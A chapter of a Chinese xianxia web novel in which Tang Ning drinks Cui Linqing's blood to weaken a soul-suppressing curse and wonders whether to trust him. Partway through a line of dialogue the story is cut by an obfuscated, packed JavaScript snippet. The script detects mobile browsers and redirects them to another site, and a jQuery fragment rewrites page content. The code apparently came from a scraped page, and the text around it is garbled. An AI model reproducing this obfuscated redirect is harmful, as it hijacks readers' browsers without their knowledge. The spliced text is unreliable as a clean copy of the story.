棠宁再拾起一块桃花糕品尝。
进屋不知等了多久,崔临青还未回来。
香炉飘渺生烟,静谧典雅,吃饱喝足后止不住的困意再次席卷。
沧澜宗藏书阁装潢巍丽,一座高塔耸立在地面,足有七层楼,每层楼边翘起四面檐尖,似展翅欲起的飞鸟。
下面九十九步台阶,据说设计者美名其曰这点台阶都战胜不了的修士,也一定不能坚持观古典书籍,论天下之道。
棠宁抵达时正好遇见恒相真君,见她到来欣慰点头。
“看来你已养成习惯,坚持下去必能修身养性。”
说完便悠哉离去。
阁门镂刻古朴纹饰,棠宁推开大门,她身后的阳光也跟着争先恐后的挤了进来。
落了一地灿烂的斑驳。
也把里面的模样照得分外清晰。
旁边两列漆黑木桌,地上摆放三两个浅色柔软垫子,供人跪坐。
中间一排排书架整齐划一,上面盛放着各种古典书籍,或是地理或是以往历史或是道法。
无奇不有。
棠宁要去的是三楼。
奇门秘术-咒法之道。
三列第五行,指尖点过,棠宁眼睛一亮,把书取了出来。
走到案几旁,细细看起来。
书阁外铜钟翁鸣,酉时到了。
棠宁合上书,不经意抬眼。
木制镂空窗边倚着一人,手持一本古籍,窗外微风浮进,袖口也如白浪翻涌,他迈步走来。
视线扫向她手里的古籍,声音一如既往的冷清。
“为何开始习咒术?”
棠宁原本还想抱怨他吓着自己了,现在被反问,后知后觉的心虚感袭来。
眼睛眨了眨,按耐住心慌,理直气壮地说。
“啊,我是怕明天下山历练时自己身体发生了什么意外,万一拖累了你们,我会愧疚的。”
说着又抬眼和那双墨瞳对视,声音越说越低,语气可怜兮兮。
似乎整个人都焉哒哒的。
“别想太多。”
裴观南垂下眼睑,棠宁从这个角度看去,能看到他挺直的鼻梁,眉眼线条极好,但墨瞳里总带着点把人逼退的冷气。
她思绪纷飞,想着裴观南着实有一副好皮囊,就算平日里冷冰冰的不近人情,但因为长得好剑术高超,身后总有追随者。
可惜这人真软硬不吃,只喜练剑,儿女情长之事,半点不沾。
他帮她把书放了回去。
棠宁跟在他身后,问他来找她干嘛,是不是想她了。
裴观南沉默不言,只是把步伐放慢。
棠宁连跨几步和他并肩。
“也不知道食堂还有没有酸溜鱼,李叔研发这道菜时,我还给了些意见呢。”
出了藏书阁,视野开阔起来。
抬头是落日熔金,暮云合璧。
棠宁恨不得御剑直接抵达食堂。
但可惜的是,其一,沧澜宗区域内不得御剑飞行,其二,她也不会。
御剑飞行是有了些基础修为后才会学习的基本功,可想而知,她的修为是有多低。
“说了什么。”
耳边传来裴观南的声音,近在咫尺。
棠宁恍然睁开眼睛,朦胧间,青年坐在青鸢山水纹椅上,思缕细烟笼着面容,轮廓不甚清晰。
似是在谈论事宜,他察觉什么,抬眼看来。
棠宁撑着头,坐在对面遥遥和他对视,窗外清流滴水坠石声幽幽。
一声。
两声。
他移开视线,左卫这才继续回答。
“蓬莱掌门说珍宝奇材任您挑选,且如您无意,附加一枝千山玉髓。”
千山玉髓长于蓬莱,五百年一枝,修士用后,可增加颇为惊人的修为。
但这东西最为宝贵的,却是凡人用后,洗髓清脉,打破凡人与修士之间的灵脉桎梏。
须知在世间有不少修真世家的儿女乃是普通人,用后,称得上一只脚迈入修真界大门。
崔临青:“倒是舍得。”
不是热衷的语气。
左卫目不斜视,只在一旁等候他的命令。
“倘若他们等得起,人还活着,下月中旬可去蓬莱。”
半点不把修真界抢得头破血流的珍材放在眼里。
左卫再次在心里暗叹。
世人流传的关于公子的性格,所言不虚。
至少他至今还未见到公子对某个宝物势在必得或者执念深切。
左卫行礼,转身去传信告知蓬莱掌门。
余光瞥见坐在对面的少女,心中疑惑众多,然一句话未说。
棠宁将目光放在窗外,不知何时飘起了细雨,润湿窗纱,些微凉意。
过了片刻,崔临青开口。
“身体有何感觉?”
声音就如那雨丝,好听却幽冷。
棠宁从梦中醒来,一时还没有反应过来,他眉梢微蹙瞥来时,这才意识到他在问咒印的事情。
她摇头。
说完后低头摸着桌面凸起刻花,有些恹恹。
崔临青未再说什么,将注意力放回手中书籍。
棠宁也不像先前一般话不停叽叽喳喳,她双手放在桌上,将头枕上去,歪着头吹头发玩。
也不催促他或者问为什么还没有效果。
室内分外静悠,就如以往只有他一人般。
不知过了多久,崔临青指骨稍压,纸张微微低陷,泛起轻微褶皱,如窗外雨丝静静融进水中,悄无声息,不易察觉。
“过来。”
棠宁停下动作,视线放远,定格在对面人身上。
模糊的身影逐渐清晰。
他将书籍搁置在旁,低着头在寻什么东西。
棠宁不知道他要什么。
问:“要做什么?”
崔临青头也不抬:“饮血引咒。”
听到这句话,棠宁蓦地清醒,掐了掐指尖,竭力压制心里翻涌的惊涛骇浪。
装作好奇道:“为什么要饮血?”
她双眼直勾勾锁定他的脸上,不放过他一丝一毫的表情变化。
棠宁不敢细想,只得期盼是意外。
在她注视下,崔临青平静道:“灵榆花,长于雪域山,极阴之物,可解百毒。”
棠宁屏住呼吸,心跳如春雷,她感觉他还未说完。
崔临青顿了下,掀起眼皮,道。
“以血修炼。”
没有犹疑,神色平淡,语气笃定。
有点太安静了。
甚至是让人窒息的寂静。
唯有棠宁有些紊乱的呼吸。
这四个字在她耳边环绕,分明很轻,却似重锤砸在她的心里。
她有些被砸懵了,脸色有些发白。
甚至隐约生起了摸出符隶杀掉他的想法。
他确实见多识广,连她需要以血修炼都知道。
点点雨丝拂进来,热气与寒气交织,让人有些不适。
室内莫名形成了对峙怪异的局面。
棠宁耳边轰隆作响,唇翕动,还未说出话。
崔临青却有些不耐,道。
“不想解咒也好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479390|185145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你现在可以走。”
那她怎么知道他会不会把关于的她事情告知天下。
灵榆花的珍贵性不亚于千山玉髓。
就说去往雪域山就不是件容易的事,千奇百怪的凶兽众多,莫说凡人,就连修士去往那里,不死也要脱层皮。
更别说它还能解百毒,复死人。
棠宁脑子里似有两个小人在拉扯她。
一个说:赶快走,他都已经知晓你的所有秘密,棠宁你还不走吗?你是不是傻啊?
另一个说:你好不容易找到一丝解咒的机会,难道就要这么放弃吗?你难道想要这破咒一直在你身上吗?
她还未想好要偏向哪一个。
有人走了过来,清苦气息渐近。
棠宁稍稍退后一点,戒备之意明显。
崔临青眼波微动,没说什么,伸出手。
棠宁现在虽说疑惑又紧张,但还是往下看了眼。
腕间骨头凸起,线条凛冽冷硬。
他灵气涌动,微压指尖,鲜红血珠溢出。
潮湿气息一瞬散开。
刺激着棠宁的感官与欲望。
乱成一团的想法扰着她,棠宁从里面扯出来一缕。
却是:他洗手了没?
她又去细看他的神色,哪知和人正好对视。
瞳孔漆黑,眉骨凸显,皱起一个小窝,些微不悦。
似在说,她怎么这么麻烦。
最终还是解咒的想法占了上风。
她决定了,一解除她就立马跑。
至于在路上说解咒条件便是给他三滴血之事,那就要看她心情了。
棠宁稍舒出口气。
气流喷洒在他的指尖,有些痒意。
她抓住他的手,一暖一凉。
崔临青将视线放在窗外。
云雾裹着晚霞流动,月色只有微弱的光芒。
棠宁含进血珠的一刹,便知道他的修为。
幸好没有将符隶甩出去。
筋脉里持续不停流淌着丝丝暖意,但也时不时含着针刺的疼痛。
崔临青略微侧头。
只能看见她鸦黑的睫羽,小巧精致的鼻尖。
这么一看,倒是十足乖巧。
夕阳坠落之时。
棠宁退开,抿唇道。
“可以了。”
崔临青垂下手,收进宽袖里。
棠宁现在的模样完全是妖异的,脖颈处布满花瓣形状的纹样,波动着想要往上蔓延。
兴许是才喝完他的血,对他也有了一些好颜色,少了点先前戒备的样子。
懒懒地看着他,眼神询问。
崔临青让她把衣衫弄下去一些。
棠宁照做。
果然,脖颈下方便是血红色的复杂纹路,几乎是将花瓣覆满桎梏,一点也未能逃脱。
抑魂咒。
她没判断错。
是裴家家传秘咒。
她与裴观南必是发生了些什么,后者才会用这种咒术压制她的本性。
不过。
他对此并不关心。
“你现在感受如何?”
棠宁思索了下,诚实道。
“灵气似乎在灵脉里穿梭,还有些痛感。”
她说得细致。
崔临青便知晓了咒术对她的桎梏渐小。
他略微颔首,没接着在这个话题上说什么或者发表结论。
道:“出去左转第二间房间,可去休息。”
棠宁点头,在他转身迈步之际,又快速道。
“我可以信你吗?”